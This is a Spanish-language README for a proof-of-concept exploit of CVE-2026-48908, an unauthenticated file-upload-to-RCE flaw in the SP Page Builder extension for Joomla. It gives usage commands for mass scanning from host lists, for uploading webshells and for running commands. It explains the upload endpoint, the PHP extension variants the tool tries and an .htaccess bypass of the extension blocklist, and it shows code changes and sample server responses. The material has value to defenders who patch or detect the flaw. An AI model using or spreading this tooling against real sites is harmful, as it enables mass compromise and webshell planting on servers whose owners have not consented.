
PoC de RCE no autenticado para CVE-2026-48908: exploit de carga de archivos arbitraria y ejecución remota de código en SP Page Builder (Joomla) con soporte para escaneo masivo.
SP Page Builder (com_sppagebuilder) para Joomla ≤ 6.6.1 permite a atacantes no autenticados subir archivos arbitrarios y lograr Ejecución Remota de Código.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-48908 |
| CWE | CWE-284 (Control de Acceso Inadecuado) |
| Componente | SP Page Builder (com_sppagebuilder) |
| Afectado | 1.0.0 – 6.6.1 |
| Corregido en | 6.6.2 |
| Privilegios | Ninguno (pre-autenticación) |
| Interacción del usuario | Ninguna |
body="com_sppagebuilder"
pip install -r requirements.txt
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check # solo sondear, sin comando
python3 exploit_poc.py https://target.example --token abc123 # token personalizado
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20 # 20 hilos paralelos
python3 exploit_poc.py --hosts ips.txt --no-verbose # modo silencioso
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php
Nota: Al usar
--shell-file, el script solo sube la webshell e informa la URL. No ejecuta el comando-cni realiza ninguna prueba de ejecución. La shell subida debe manejar la entrada de comandos de forma independiente.



Después de un escaneo, se guardan tres archivos de resultados:
El exploit abusa de la tarea asset.uploadCustomIcon de com_sppagebuilder:
/media/com_sppagebuilder/assets/iconfont/<nombre>/fonts/.El script prueba múltiples extensiones PHP (.php, .PHP, .pHp, .Php, .pht, .phtml, etc.) hasta encontrar una que se ejecute.
Cuando las extensiones PHP directas están bloqueadas por el filtro de SPPB, el script coloca un archivo .htaccess junto al payload:
AddType application/x-httpd-php .PHP
Esto obliga al servidor web a tratar .PHP (mayúsculas) como PHP — omitiendo la lista de bloqueo sensible a mayúsculas de SPPB. Requiere que AllowOverride esté habilitado y que la ejecución de PHP esté permitida en /media.
Nota: El bypass de
.htaccess+.PHPen mayúsculas puede no funcionar en todas las configuraciones. Si falla, intente usar extensiones.pngo.jpeg. En servidores conAllowOverridedeshabilitado o ejecución de PHP bloqueada en/media, incluso las shells subidas no se ejecutarán (se reporta como "solo escritura").
Este PoC está basado en https://github.com/papageo75/CVE-2026-48908-PoC/ con las siguientes adiciones:
Algunas respuestas del servidor pueden contener prefijos no JSON (por ejemplo, expresiones cron u otra basura) antes de la carga útil JSON real. El PoC original fallaba en r.json() al analizar dichas respuestas. Esta versión busca el primer carácter { e intenta decodificar la subcadena JSON:
Antes:
try:
data = r.json()
except ValueError:
return None
Después:
try:
data = r.json()
except ValueError:
raw = r.text
idx = raw.find("{")
if idx == -1:
return None
try:
data, _ = json.JSONDecoder().raw_decode(raw[idx:])
except ValueError:
return None
Ejemplo — respuesta JSON válida:
{
"name": "icoctxojp",
"data": {
"id": 17,
"type": "iconfont",
"name": "icoctxojp",
"title": "Icoctxojp",
"assets": "["ico ico-x"]",
"css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
"created": "2026-06-24 07:26:18",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
},
"status": true,
"output": "Uploaded"
}
Ejemplo — respuesta no JSON (basura de prefijo antes del JSON):
cron:self,tpl:amara_pro,cfg:ok{
"name": "icoxwetsw",
"data": {
"id": 163,
"type": "iconfont",
"name": "icoxwetsw",
"title": "Icoxwetsw",
"assets": "[\"ico ico-x\"]",
"css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
"created": "2026-06-24 03:42:57",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
},
"status": true,
"output": "Uploaded"
}
Se agregó capacidad de escaneo masivo multihilo:
--hosts <archivo> — cargar objetivos desde un archivo (uno por línea)-j, --threads <n> — establecer número de hilos paralelos (por defecto: 10)--no-verbose — suprimir salida detallada por host.txt categorizadosSe agregó la opción --shell-file <ruta> para subir una webshell PHP personalizada en lugar de la shell protegida por token incorporada. Al usar esta opción:
-crun())custom_shell_hosts.txtSOLO PARA USO AUTORIZADO. Únicamente para pruebas de penetración autorizadas, CTF y objetivos de laboratorio. Usted es el único responsable de cómo utiliza esta herramienta.
| Flag | Descripción |
|---|
url | URL objetivo (posicional o --url) |
--hosts <file> | Archivo con un host por línea |
-c, --cmd <cmd> | Comando a ejecutar (por defecto: id) |
--check | Solo sondear, no ejecutar un comando |
--token <token> | Secreto que protege la shell subida (por defecto: aleatorio) |
--shell-file <path> | Subir una webshell PHP personalizada en lugar de la incorporada |
-j, --threads <n> | Hilos paralelos para escaneo masivo (por defecto: 10) |
--no-verbose | Suprimir salida detallada por host |
| Archivo | Contenido |
|---|
vulnerable_hosts.txt | Hosts con RCE confirmado + URLs de webshell |
not_vulnerable_hosts.txt | Hosts que están parcheados o ausentes |
partial_vulnerable_hosts.txt | Hosts con escritura de archivos pero sin ejecución PHP |
custom_shell_hosts.txt | Hosts con shell personalizada subida, agrupados por URL base (solo se genera al usar --shell-file) |
scan_results.json | Resultados JSON completos para todos los hosts |